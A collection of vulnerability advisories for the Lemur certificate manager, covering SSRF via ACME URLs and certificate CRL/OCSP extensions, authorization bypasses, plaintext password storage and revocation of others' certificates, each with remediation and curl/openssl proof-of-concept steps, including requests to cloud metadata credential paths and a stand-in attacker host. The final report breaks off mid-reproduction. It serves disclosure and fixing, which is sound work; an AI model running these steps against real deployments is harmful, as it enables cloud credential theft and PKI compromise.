Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:

1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs.
2. new_order() -> server returns finalize and authorizations URLs.
3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

• JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
• Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
• The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
• Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.

Field | Value -- | -- Title | Lemur 1.9.0: JWT verifier trusts attacker-supplied alg from token header — defense-in-depth gap; chain-dependent ATO with secret disclosure Component | lemur/lemur/auth/service.py:130-137 CWE | CWE-347 (Improper Verification of Cryptographic Signature) Attack Prerequisite | Defense-in-depth gap on its own — no single-request exploit against PyJWT 2.x. Single-request ATO requires a separate disclosure issue that leaks LEMUR_TOKEN_SECRET, or a future migration to asymmetric signing without fixing this sink. Affected Versions | github.com/Netflix/lemur version = "1.9.0". Same code present in every prior release that has the auth/service.py:130 block.

Exploit Code & Lab Set-up

Lemur-jwt-alg-hardening.zip

sequenceDiagram
    participant Attacker
    participant Lemur as Lemur API
    participant Disclosure as Disclosure surface
    participant Audit as Audit logging

    Note over Attacker,Lemur: "Today: PyJWT 2.x mitigation holds for alg=none"
    Attacker->>Lemur: "Bearer alg=none token with [payload]"
    Lemur->>Lemur: "pyjwt.decode raises (alg=none + non-None key)"
    Lemur-->>Attacker: "403 Forbidden"

    Note over Disclosure,Lemur: "Chain step: separate disclosure leaks LEMUR_TOKEN_SECRET"
    Attacker->>Disclosure: "trigger debug / SSRF / backup leak"
    Disclosure-->>Attacker: "LEMUR_TOKEN_SECRET value"

    Note over Attacker,Lemur: "Forge HS256 admin token with leaked secret"
    Attacker->>Lemur: "Bearer alg=HS256 admin token signed with leaked secret"
    Lemur->>Lemur: "algorithms=[HS256] (taken from header) — accepted"
    Lemur-->>Attacker: "200 OK, role=admin"

    Note over Audit: "alg=HS256 in audit log - no anomaly flag because attacker picks alg"

Summary

lemur.users.service.update() writes a user's new password as plaintext to the users.password column. The User model wires bcrypt hashing to SQLAlchemy's before_insert event but registers no equivalent listener for before_update, and service.update() does not call user.hash_password() after assigning the new value. Every password change performed through the admin-gated PUT /api/1/users/<id> endpoint persists the user's password to the database in cleartext.

Root Cause

lemur/users/models.py:

# line 38
class User(BaseModel):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    password = Column(String(128))            # plain column, no setter, no Vault descriptor

# line 74
    def hash_password(self):
        if self.password:
            self.password = bcrypt.generate_password_hash(self.password).decode("utf-8")

# line 111
listen(User, "before_insert", hash_password)  # only before_insert is wired

lemur/users/service.py:

# line 46
def update(user_id, username, email, active, profile_picture, roles, password=None):
    ...
    user = get(user_id)
    user.username = username
    user.email = email
    user.active = active
    user.profile_picture = profile_picture
    if password:
        user.password = password              # raw assignment
    update_roles(user, roles)
    return database.update(user)              # commits, no hashing

No before_update listener exists. User.password is a plain Column(String(128)) with no property setter that hashes on assignment. The bcrypt code path is bypassed entirely on every UPDATE statement that touches this column.

Affected Endpoints

| Method | Path | Source | |---|---|---| | PUT | /api/1/users/<id> | lemur/users/views.py:274 (gated by @admin_permission.require) |

lemur/auth/views.py:323 also calls user_service.update() during SSO/OAuth login, but passes only six positional arguments. password defaults to None on that path and the if password: guard short-circuits. The bug is triggered only through the admin-only PUT handler.

Impact

When an administrator changes a user's password via PUT /api/1/users/<id>, the cleartext password is persisted to users.password. Subsequent login attempts for that user will fail (check_password calls bcrypt.check_password_hash against an unhashed value), pushing operators toward workarounds.

The more serious consequence is a defense-in-depth bypass. Bcrypt is the protection that prevents a database compromise from yielding usable credentials. With plaintext rows present, an attacker who exfiltrates the users table, a backup, a read replica, or query logs obtains directly usable login credentials — no offline cracking required. Because users reuse passwords across services, the blast radius extends beyond Lemur.

The bug specifically affects admin-driven password resets, which are the normal post-incident workflow and exactly when plaintext storage is most harmful.

Steps to Reproduce

1. Install Lemur with default config. Create an admin user and a target user 'alice' (created via the standard flow, password will be hashed correctly on insert).

2. Verify the initial hash: psql lemur -c "SELECT password FROM users WHERE username='alice';"

   Output: $2b$12$N9Q... (bcrypt hash, as expected)

3. As admin, change alice's password via the API: curl -X PUT https://lemur.local/api/1/users/<alice_id>
   -H "Authorization: Bearer <admin_jwt>"
   -H "Content-Type: application/json"
   -d '{ "username": "alice", "email": "alice@example.com", "active": true, "profile_picture": null, "roles": [{"name": "operator"}], "password": "ProofOfConcept_2026" }'

4. Read the column again: psql lemur -c "SELECT password FROM users WHERE username='alice';"

   Output: ProofOfConcept_2026 ← plaintext, not hashed

5. Confirm the failure mode: 'alice' can no longer log in with 'ProofOfConcept_2026' because check_password runs bcrypt.check_password_hash() against the cleartext column.

Remediation

Register the listener for both events:

# lemur/users/models.py
listen(User, "before_insert", hash_password)
listen(User, "before_update", hash_password)

Alternative, equivalent fix in the service layer:

# lemur/users/service.py, in update()
    if password:
        user.password = password
        user.hash_password()

The listener fix is preferred because it closes the gap for any future code path that mutates user.password.

A one-time migration is recommended to detect and re-hash any rows already stored in cleartext. Bcrypt hashes begin with $2b$, $2a$, or $2y$. Any cleartext credential should be treated as compromised — rotate it, do not just re-hash it — since it has been at rest in plaintext and may exist in backups, audit logs, and replicas.

Summary

The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role_id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin_permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:

permission = RoleMemberPermission(role_id)
if permission.can():
    return service.update(
        role_id, data["name"], data.get("description"), data.get("users")
    )
return dict(message="You are not authorized to modify this role."), 403
 
@admin_permission.require(http_exception=403)
def delete(self, role_id):
    ...

lemur/auth/permissions.py:56:

class RoleMemberPermission(Permission):
    def __init__(self, role_id):
        needs = [RoleNeed("admin"), RoleMemberNeed(role_id)]
        super().__init__(*needs)

flask_principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role_id).can() returns True if the caller is either an admin or a member of role_id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

| Method | Path | Source | |---|---|---| | PUT | /api/1/roles/<id> | lemur/roles/views.py:298 |

Impact

A user who is a member of role X can:

• Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
• Remove other users from role X, denying their access (availability / governance impact).
• Rename role X to an arbitrary string. The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.is_admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add @admin_permission.require(http_exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:

@admin_permission.require(http_exception=403)
def put(self, role_id, data=None):
    ...

If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

1. Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.

2. Authenticate as alice and capture the JWT:

   curl -X POST https://lemur.local/api/1/auth/login \
        -H "Content-Type: application/json" \
        -d '{"username":"alice","password":"<alice_pw>"}'
   

3. Confirm the initial state - bob is not a member of operator:

   curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer <admin_jwt>"
   # observe: alice present in users list, bob absent
   

4. As alice, send a PUT that injects bob into the operator role:

   curl -X PUT https://lemur.local/api/1/roles/<operator_role_id> \
        -H "Authorization: Bearer <alice_jwt>" \
        -H "Content-Type: application/json" \
        -d '{
              "name": "operator",
              "description": "modified by alice",
              "users": [{"id": <alice_id>}, {"id": <bob_id>}]
            }'
   # observe: HTTP 200
   

5. Confirm bob is now a member of operator:

   curl https://lemur.local/api/1/roles?filter=name;operator \
        -H "Authorization: Bearer <admin_jwt>"
   # observe: bob now present in users list
   

Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator_v2" in step 4 renames the role, demonstrating the second variant of the bug.

Summary

When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.

Root Cause

lemur/certificates/verify.py, crl_verify:

point = p.full_name[0].value                          # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6))     # no allow-list, no destination filter

lemur/certificates/verify.py, ocsp_verify:

command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
    ["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
     "-url", url.strip()],                            # attacker-controlled URL
    ...
)

In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.

Affected Endpoints

| Method | Path | Source | |---|---|---| | POST | /api/1/certificates/upload | verify_string → crl_verify / ocsp_verify |

The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.

Impact

An operator-role attacker can:

• Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
• On EC2 instances without IMDSv2 enforcement, cause requests to http://169.254.169.254/ and influence downstream behavior of components that parse the response.
• Pin attacker-controlled CRLs into the unbounded module-level crl_cache dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL. The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.

Remediation

Filter the URL before it reaches the network sink. Either:

1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or
2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding. For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.

Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.

Steps to Reproduce

1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user eve.

2. Generate a self-signed certificate whose extensions point at internal services:

   cat > openssl.cnf <<EOF
   [req]
   distinguished_name = req_distinguished_name
   req_extensions = v3_ca
   prompt = no
   
   [req_distinguished_name]
   CN = ssrf-poc.example
   
   [v3_ca]
   crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
   authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
   EOF
   
   openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
       -days 365 -nodes -config openssl.cnf -extensions v3_ca
   

3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:

   sudo tcpdump -nni any host 169.254.169.254
   

4. As eve, upload the malicious certificate:

   BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
   curl -X POST https://lemur.local/api/1/certificates/upload \
        -H "Authorization: Bearer <eve_jwt>" \
        -H "Content-Type: application/json" \
        -d "{
              \"name\": \"ssrf-poc\",
              \"body\": \"$BODY\",
              \"chain\": \"\",
              \"private_key\": \"\",
              \"owner\": \"eve@example.com\"
            }"
   

5. Observe the outbound request to 169.254.169.254 in the tcpdump output. The request originates from the Lemur process during verify_string processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.

Summary

StrictRolePermission and AuthorityCreatorPermission in lemur/auth/permissions.py call flask_principal.Permission.__init__() with zero Needs when their config flags are unset. Both flags defaulted to False in code prior to the fix, so this was the state of any Lemur install that hadn't explicitly opted in.

Flask-Principal's Permission.allows() returns True whenever self.needs is empty. The .can() gate therefore passes for every authenticated identity, including the lowest-privilege role Lemur ships (read-only).

A user holding only read-only can create root Certificate Authorities, create and edit notifications (an SSRF sink), create domain entries, and upload arbitrary certificates. These classes are the sole authorization check on those endpoints.

Root Cause

# lemur/auth/permissions.py
class AuthorityCreatorPermission(Permission):
    def __init__(self):
        requires_admin = current_app.config.get("ADMIN_ONLY_AUTHORITY_CREATION", False)
        if requires_admin:
            super().__init__(RoleNeed("admin"))
        else:
            super().__init__()              # empty Need set

class StrictRolePermission(Permission):
    def __init__(self):
        strict_role_enforcement = current_app.config.get("LEMUR_STRICT_ROLE_ENFORCEMENT", False)
        if strict_role_enforcement:
            needs = [RoleNeed("admin"), RoleNeed("operator")]
            super().__init__(*needs)
        else:
            super().__init__()              # empty Need set

flask_principal.Permission.allows() (upstream, v0.4.0):

def allows(self, identity):
    if self.needs and not self.needs.intersection(identity.provides):
        return False
    ...
    return True

When self.needs == set(), the first guard is falsy and is skipped. excludes is also empty, so allows() returns True for any identity. AuthenticatedResource (the parent class for these views) sets method_decorators = [login_required], which checks authentication only, no role. So the permission .can() is the only authorization layer in front of these endpoints.

Affected Endpoints

Views whose only authorization check is StrictRolePermission().can() or AuthorityCreatorPermission().can():

| Method | Path | Source | |----------|-------------------------------------------|-----------------------------------------| | POST | /api/1/authorities | lemur/authorities/views.py:231 | | POST | /api/1/certificates/upload | lemur/certificates/views.py:651 | | POST | /api/1/pending_certificates/<id>/upload | lemur/pending_certificates/views.py:545 | | POST | /api/1/notifications | lemur/notifications/views.py:227 | | PUT/DEL | /api/1/notifications/<id> | lemur/notifications/views.py:370,384 | | POST | /api/1/domains | lemur/domains/views.py:131 |

POST /api/1/authorities is gated by AuthorityCreatorPermission().can() and StrictRolePermission().can(); both have empty Needs by default. The other rows are gated by StrictRolePermission().can() alone.

Note on scope: PUT /api/1/authorities/<id> also references StrictRolePermission, but its gate is AuthorityPermission(...).can() and StrictRolePermission().can(). AuthorityPermission is constructed with non-empty Needs (RoleNeed("admin") plus authority-scoped needs), so that endpoint is not bypassable by a read-only user and is excluded from this report.

Impact

A user holding only the read-only role can:

1. Create root Certificate Authorities. CA cert and private key are persisted in Lemur's DB with the attacker as owner. Any internal trust store that pins Lemur-managed roots can now be signed against by the attacker.
2. Upload arbitrary certificates via /certificates/upload, including attacker-supplied keys with destinations such as AWS push.
3. Create or modify notifications, which reach an SSRF sink (see related finding F3, Slack notification webhook).
4. Mark arbitrary domains as sensitive, manipulating Lemur's domain registry and the cert-issuance approval path.

Combined with any low-privilege credential leak (phished employee, leaked SSO token) or insider access, this is a pivot from "any authenticated identity" to control of the PKI issuance plane.

Remediation

The config flag defaults for ADMIN_ONLY_AUTHORITY_CREATION and LEMUR_STRICT_ROLE_ENFORCEMENT were changed from False to True. Restrictive role enforcement is now active on all default installs without requiring explicit configuration.

class AuthorityCreatorPermission(Permission):
    def __init__(self):
        requires_admin = current_app.config.get("ADMIN_ONLY_AUTHORITY_CREATION", True)
        ...

class StrictRolePermission(Permission):
    def __init__(self):
        strict_role_enforcement = current_app.config.get("LEMUR_STRICT_ROLE_ENFORCEMENT", True)
        ...

Note: The opt-out branches (empty Needs) remain in the code. Operators who explicitly set ADMIN_ONLY_AUTHORITY_CREATION = False or LEMUR_STRICT_ROLE_ENFORCEMENT = False in their config will reintroduce the bypass. These flags should be left unset or set to True.

Field | Value -- | -- Title | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR Component | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision) CWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization) Attack Prerequisite | A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar. Affected Versions | github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks.

Exploit Code & Lab Set-up

Lemur-acme-ssrf-creator-idor.zip

Attacker->>Lemur: "SSO callback for new identity (sink 1)"
Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"

Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..."
Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)"
IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token"
Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"

Attacker->>Lemur: "POST /api/1/certificates authority_id=1"
Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker"
Attacker->>Lemur: "GET /api/1/certificates/1/key"
Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"

Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin"
Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"

Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
Note over CertDB: "audit log shows admin owns it, attacker still has the key"

Summary

Repo under test: https://github.com/Netflix/lemur

PUT /api/1/certificates/<id>/revoke authorizes the caller against the Lemur database row (creator == current user, or CertificatePermission over the row's roles) rather than the underlying CA-side certificate identity. Separately, POST /api/1/certificates/upload lets any user passing StrictRolePermission create a new Certificate row while freely supplying body, authority (resolved by id/name with no AuthorityPermission check) and external_id; there is no uniqueness constraint on body, serial, or external_id.

An attacker can therefore read a target certificate's public body, authority.id, and external_id via GET /certificates/<id>, upload a duplicate row, and revoke that duplicate. The creator-bypass skips CertificatePermission, the empty-endpoints check passes because the duplicate has none, and service.revoke() then revokes at the CA using the attacker-supplied body (ACME) or external_id (DigiCert/Entrust/Google CA/CFSSL) under the authority's stored CA credentials — revoking the real production certificate.

Affected route

POST /api/1/certificates/upload → PUT /api/1/certificates/<dup_id>/revoke

Affected code

• lemur/certificates/views.py:651 — only StrictRolePermission().can() gates upload; no AuthorityPermission check
• lemur/certificates/schemas.py:391 — CertificateUploadInputSchema accepts caller-supplied authority and external_id
• lemur/schemas.py:107 — AssociatedAuthoritySchema resolves any authority by id/name with no permission check
• lemur/certificates/service.py:489 — upload() binds the caller-supplied authority onto the new row
• lemur/certificates/models.py:119 — only name is unique; body/serial/external_id are not, and get_or_increase_name() auto-suffixes on collision
• lemur/certificates/views.py:1677 — if g.current_user != cert.user: ... CertificatePermission ... — creator of the duplicate row bypasses the owner check
• lemur/certificates/views.py:1687 — if cert.endpoints: ... — duplicate row has no endpoints, so the deployed-cert safeguard is bypassed
• lemur/certificates/service.py:1120 — plugin = plugins.get(certificate.authority.plugin_name); plugin.revoke_certificate(certificate, reason)
• lemur/plugins/lemur_acme/acme_handlers.py:268 — ACME revokes by certificate.body
• lemur/plugins/lemur_digicert/plugin.py:477, lemur/plugins/lemur_entrust/plugin.py:321 — commercial CAs revoke by certificate.external_id
• lemur/certificates/schemas.py:290 — CertificateOutputSchema exposes external_id, body, authority to any authenticated user

Impact

A low-privileged authenticated insider (or holder of a stolen non-admin token/API key) can revoke any certificate managed by Lemur — including high-value certificates they do not own and certificates currently attached to live endpoints — directly at the issuing CA. Iterating over GET /certificates yields fleet-wide revocation (mass DoS of TLS endpoints) without ever passing an AuthorityPermission or CertificatePermission check on the victim certificate. This is exactly the "Revocation as DoS vector" scenario flagged in the threat model and additionally defeats the built-in "cannot revoke while attached to endpoint" safeguard.

Root cause

Revocation authority is bound to ownership of the Lemur DB row, not to the CA-side certificate identity. Because upload allows creating a second row that aliases the same CA-side certificate (same body / external_id / authority) without any uniqueness constraint or AuthorityPermission check, the attacker can manufacture a row they own and then exercise the creator-bypass on revoke. The endpoint-attached guard inspects only the duplicate row's cert.endpoints, which is empty.

Validated evidence

Static path trace, confirmed by code inspection (validation status: CONFIRMED):

• Upload is gated only by StrictRolePermission (default-open to any non-read-only user) and accepts attacker-chosen authority + external_id + body without an AuthorityPermission check.
• Certificate.body / external_id have no uniqueness constraint, so a duplicate row is created.
• The revoke endpoint short-circuits the owner check when caller is the row creator, and the endpoint-attached guard inspects only the duplicate row.
• Issuer plugins revoke at the CA using body / external_id taken from the duplicate row under the authority's stored CA credentials.

Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA — revoking at a real CA is destructive).

Preconditions: attacker is an authenticated Lemur user holding any role other than read-only. <VICTIM_CERT_ID> is any certificate id readable via GET /api/1/certificates.

# 1. Read the victim's body / authority / external_id (exposed to any authenticated user)
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  | jq '{body, external_id, authority: .authority.id}'

# 2. Upload a duplicate row aliasing the same CA-side certificate
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "victim-dup",
        "owner": "attacker@example.com",
        "body": "<VICTIM_BODY_PEM>",
        "authority": {"id": <VICTIM_AUTHORITY_ID>},
        "externalId": "<VICTIM_EXTERNAL_ID>"
      }'
# → returns {"id": <DUP_ID>, ...}; attacker is now cert.user of <DUP_ID>

# 3. Revoke the duplicate — issuer plugin revokes at the CA by body/external_id
curl -sS -X PUT "<TARGET_BASE_URL>/api/1/certificates/<DUP_ID>/revoke" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"crlReason": "unspecified"}'

Static-trace validation command from the source report:

grep -n 'StrictRolePermission' lemur/certificates/views.py | grep -v Authority
grep -n 'cert.authority = kwargs.get' lemur/certificates/service.py
grep -n 'g.current_user != cert.user' lemur/certificates/views.py
grep -n 'certificate.external_id\|certificate.body' \
  lemur/plugins/lemur_acme/acme_handlers.py \
  lemur/plugins/lemur_digicert/plugin.py \
  lemur/plugins/lemur_entrust/plugin.py

Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_050, finding cluster lemur-revoke-via-duplicate, 2/100 runs).

Suggested fix

Decouple CA-side revocation authority from Lemur row ownership:

1. On POST /certificates/upload, if authority is supplied enforce AuthorityPermission for that authority, and reject/ignore caller-supplied external_id.
2. Before calling plugin.revoke_certificate, look up all Certificate rows sharing the same (authority_id, serial) or body and require CertificatePermission on every match (and run the endpoint-attached check against all matches).
3. Consider a DB uniqueness constraint or dedup on (authority_id, serial) so a second row for the same CA-issued certificate cannot be created.
4. Stop exposing external_id in CertificateOutputSchema to non-owners.

Summary

The CertificateExport handler in lemur/certificates/views.py nests its entire ownership / CertificatePermission check inside an if plugin.requires_key: branch. When the selected export plugin advertises requires_key = False, the authorization check is skipped entirely and any authenticated user can invoke plugin.export(cert.body, cert.chain, cert.private_key, options) against a certificate they do not own. The handler additionally writes a "key_view" audit-log event for every call, regardless of whether the plugin actually accessed the private key, polluting the audit trail with false positives.

Root Cause

lemur/certificates/views.py:1573:

if plugin.requires_key:
    if not cert.private_key:
        return (..., 400)
    else:
        if g.current_user != cert.user:
            owner_role = role_service.get_by_name(cert.owner)
            permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
            if not permission.can():
                return (..., 403)
 
log_service.create(g.current_user, "key_view", certificate=cert)   # always logged
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)

The authorization gate is structurally inside the if plugin.requires_key: block. With requires_key = False, control falls straight through to plugin.export(...) with no ownership check. The cert.private_key is passed to the plugin regardless of the flag — the flag only describes what the plugin advertises it needs, not what it actually receives.

The only currently shipping ExportPlugin with requires_key = False is JavaTruststoreExportPlugin (lemur/plugins/lemur_jks/plugin.py), whose export() ignores the key argument and emits a public-only Java truststore. The present-day data exposure is therefore limited to public certificate material. The bug is nonetheless filed as a real authorization gap because:

1. The structural defect is latent and silent - any future requires_key = False ExportPlugin that does read cert.private_key will inherit the bypass with no test or code-review signal.
2. The unconditional log_service.create(..., "key_view", ...) call falsely records key-view events for callers who never viewed a key, weakening incident-response signal.

Affected Endpoints

| Method | Path | Source | |---|---|---| | POST | /api/1/certificates/<id>/export | lemur/certificates/views.py:1573 |

Impact

In the current codebase:

• Any authenticated user can mint a Java truststore (java-truststore-jks plugin) containing any certificate's public body and chain, without owning the certificate or holding a role with permission over it.
• The audit log records a key_view event for the calling user against that certificate, despite no private key having been accessed. Defenders investigating apparent key-view events will encounter false positives that they cannot distinguish from genuine accesses.

Latent risk:

• A future ExportPlugin author who sets requires_key = False because their plugin can operate without a key (e.g., for a fall-back code path) but still uses the key when one is provided will silently leak private keys to any authenticated user. The same code review that approves the plugin will not flag this — the authorization invariant is held by a structurally distant if-branch in the view, not by the plugin itself.

Remediation

Lift the authorization check out of the if plugin.requires_key: block so it runs for every export call:

# Authorization first, unconditionally.
if g.current_user != cert.user:
    owner_role = role_service.get_by_name(cert.owner)
    permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
    if not permission.can():
        return (dict(message="You are not authorized to export this certificate."), 403)
 
if plugin.requires_key:
    if not cert.private_key:
        return (dict(message="Plugin requires a key but none is present."), 400)
    log_service.create(g.current_user, "key_view", certificate=cert)   # only when key actually accessed
 
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)

This makes the authorization gate independent of the plugin's requires_key flag and correctly scopes the key_view audit event to calls that actually involve key access.

Steps to Reproduce

1. Set up Lemur with default configuration. Create an admin user admin and a non-admin user eve with the read-only role (or any role without certificate permissions).

2. As admin, issue a certificate. Note its id.

3. As eve, invoke export with the java-truststore-jks plugin:

